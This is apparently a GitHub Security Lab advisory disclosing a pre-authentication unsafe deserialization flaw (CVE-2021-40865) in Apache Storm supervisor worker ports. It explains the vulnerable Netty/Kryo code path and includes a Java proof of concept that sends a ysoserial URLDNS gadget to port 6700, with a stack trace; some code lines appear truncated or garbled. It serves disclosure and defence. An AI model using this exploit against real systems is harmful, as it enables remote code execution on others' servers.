skip to content
Back to
Home Bounties Research Advisories Get Involved Events
October 28, 2021

GHSL-2021-086: Unsafe Deserialization in Apache Storm supervisor - CVE-2021-40865

Alvaro Munoz

Coordinated Disclosure Timeline


An Unsafe Deserialization vulnerability exists in the worker services of the Apache Storm supervisor server allowing pre-auth Remote Code Execution (RCE)


Apache Storm

Tested Version



Apache Storm supervisor starts a number of worker processes on top of a Netty server listening, by default, on ports 6700, 6701, etc. The Netty server channel uses StormServerPipelineFactory to configure the channel pipeline:

    protected void initChannel(Channel ch) throws Exception {
        // Create a default pipeline implementation.
        ChannelPipeline pipeline = ch.pipeline();

        // Decoder
        pipeline.addLast("decoder", new MessageDecoder(new KryoValuesDeserializer(topoConf)));
        // Encoders
        pipeline.addLast("netty-serializable-encoder", NettySerializableMessageEncoder.INSTANCE);
        pipeline.addLast("backpressure-encoder", new BackPressureStatusEncoder(new KryoValuesSerializer(topoConf)));

        boolean isNettyAuth = (Boolean) topoConf
        if (isNettyAuth) {
            // Authenticate: Removed after authentication completes
            pipeline.addLast("saslServerHandler", new SaslStormServerHandler(
            // Authorize
                new SaslStormServerAuthorizeHandler());
        // business logic.
        pipelin.addLast("handler", new StormServerHandler(server));

In the Inbound direction, the following handlers are registered in the following order:

  1. MessageDecoder
  2. SaslStormServerHandler
  3. SaslStormServerAuthorizeHandler
  4. StormServerHandler

Even if authentication and authorization are enabled (not enabled by default), the MessageDecoder handler is used in the first place so will be reachable even with incorrect credentials.

MessageDecoder decodes the bytes received from the Netty socket which should be:

When code is -600 (BackPressureStatus.IDENTIFIER), the following code is executed:

  // case 3: BackPressureStatus
  if (code == BackPressureStatus.IDENTIFIER) {
      available = buf.readableBytes();
      if (available < 4) {
          //Need  more data
      int dataLen = buf.readInt();
      if (available < 4 + dataLen) {
          // need more data
      byte[] bytes = new byte[dataLen];
      out.add(, deser));

The incoming bytes are passed to, deser):

  public static BackPressureStatus read(byte[] bytes, KryoValuesDeserializer deserializer) {
    return (BackPressureStatus) deserializer.deserializeObject(bytes);

Where deserializer is an instance of KryoValuesDeserializer which gets returned by DefaultKryoFactory.getKryo(). Under default configuration, this Kryo instance getDefaultSerializer will return an instance of SerializableSerializer which uses the native Java ObjectInputStream with unregistered types. Therefore, an attacker can send a malicious packet to the Netty server and deserialize arbitrary types.

There are other places where Kryo deserializes untrusted data. For example:


The following PoC will send a packet to the Netty Worker service port (6700) with an instance of the YSoSerial URLDNS gadget payload. Upon deserialization, the server will perform a DNS name resolution for the provided domain (

import org.apache.storm.serialization.KryoValuesSerializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.URLDNS;

import java.math.BigInteger;
import java.util.HashMap;

public class NettyExploit {

     * Encoded as -600 ... short(2) len ... int(4) payload ... byte[]     *
    public static byte[] buffer(KryoValuesSerializer ser, Object obj) throws IOException {
        byte[] payload = ser.serializeObject(obj);
        BigInteger codeInt = BigInteger.valueOf(-600);
        byte[] code = codeInt.toByteArray();
        BigInteger lengthInt = BigInteger.valueOf(payload.length);
        byte[] length = lengthInt.toByteArray();

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream( );
        outputStream.write(new byte[] {0, 0});
        return outputStream.toByteArray( );

    public static KryoValuesSerializer getSerializer() throws MalformedURLException {
        HashMap<String, Object> conf = new HashMap<>();
        conf.put("topology.kryo.factory", "org.apache.storm.serialization.DefaultKryoFactory");
        conf.put("topology.tuple.serializer", "org.apache.storm.serialization.types.ListDelegateSerializer");
        conf.put("topology.skip.missing.kryo.registrations", false);
        conf.put("", true);
        return new KryoValuesSerializer(conf);

    public static void main(String[] args) {
        try {
            // Payload construction
            String command = "";
            ObjectPayload gadget = URLDNS.class.newInstance();
            Object payload = gadget.getObject(command);

            // Kryo serialization
            byte[] bytes = buffer(getSerializer(), payload);

            // Send bytes
            Socket socket = new Socket("", 6700);
            OutputStream outputStream = socket.getOutputStream();
        } catch (Exception e) {

The StackTrace for the exploit execution is:

readObject:-1, ObjectInputStream (
read:51, SerializableSerializer (org.apache.storm.serialization)
readClassAndObject:793, Kryo (com.esotericsoftware.kryo)
read:153, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:793, Kryo (com.esotericsoftware.kryo)
deserializeObject:42, KryoValuesDeserializer (org.apache.storm.serialization)
read:56, BackPressureStatus (org.apache.storm.messaging.netty)
decode:123, MessageDecoder (org.apache.storm.messaging.netty)
decodeRemovalReentryProtection:502, ByteToMessageDecoder (
callDecode:441, ByteToMessageDecoder (
channelRead:278, ByteToMessageDecoder (
invokeChannelRead:362, AbstractChannelHandlerContext (
invokeChannelRead:348, AbstractChannelHandlerContext (
fireChannelRead:340, AbstractChannelHandlerContext (
channelRead:1434, DefaultChannelPipeline$HeadContext (
invokeChannelRead:362, AbstractChannelHandlerContext (
invokeChannelRead:348, AbstractChannelHandlerContext (
fireChannelRead:965, DefaultChannelPipeline (
read:163, AbstractNioByteChannel$NioByteUnsafe (
processSelectedKey:644, NioEventLoop (
processSelectedKeysOptimized:579, NioEventLoop (
processSelectedKeys:496, NioEventLoop (
run:458, NioEventLoop (
run:897, SingleThreadEventExecutor$5 (
run:-1, Thread (java.lang)


This issue may lead to pre-auth RCE




This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).


You can contact the GHSL team at, please include a reference to GHSL-2021-086 in any communication regarding this issue.